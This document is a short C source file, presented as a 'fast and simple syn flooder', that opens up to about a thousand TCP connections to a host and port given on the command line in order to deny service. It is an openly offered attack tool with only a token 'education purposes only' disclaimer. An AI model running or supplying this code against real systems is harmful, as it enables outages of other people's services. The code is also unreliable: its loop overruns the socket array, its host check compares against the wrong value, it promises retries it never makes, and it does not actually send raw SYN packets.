Syn-DoS-Postix.c

/* Fast and simple syn flooder,
 * also known as swiss army wire for smothering :)
 * This tool represents how to make simple DoS attack
 * with simple coded code :)
 *
 * Use this tool for education purposes only!
 *
 * n: Muris Kurgas
 * e: jorganwd [at] gmail [dot] com
 * w: http://www.jorgan.users.cg.yu
 * i: irc.freenode.net \ #remote-exploit \ j0rgan
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#define mns 1030
/* You may have to change the maximum open sockets (mns) */
#define mnc 50
/* You may have to change this also:
 * Maximum number of tries to connect,
 * very useful if you want to force connecting,
 * for example cisco router on telnet port,
 * which allowes only few :)
 */
int main(int argc, char *argv[]) {
       if(argc < 3) {
               printf("Gimme: %s <host> <port>\n", argv[0]);
               exit(-1);
       }
       int sock[mns];
       int c;
       int i;
       c=0;
       struct sockaddr_in dest[mns];
       struct hostent *host;
       if((host = gethostbyname(argv[1])) == -1) {
               printf("Can't resolve %s! Misspelled address?\n", argv[1]);
               exit(-1);
       }

       for(i = 0; i <= mns; i++) {
               if((sock[i] = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                       printf("What happen?! I can't create socket! \n");
                       exit(-1);
               }

               dest[i].sin_family = AF_INET;
               dest[i].sin_port = htons(atoi(argv[2]));
               dest[i].sin_addr = *((struct in_addr *)host->h_addr);

               if(connect(sock[i], (struct sockaddr *)&dest[i], sizeof(struct sockaddr)) == -1) {
                       printf("I can't connect to %s on port %s! Are you connected? :)\n Trying again in one second! To stop press ctrl+c\n", argv[1], argv[2]);
                       c++;
                       if (c == mnc) {
                       printf("Tired of connecting, try again...\n"); exit (-1);
                       }
}
               printf("Connected No: %d\n", i);
       }
       return(0);
}

/* EOF */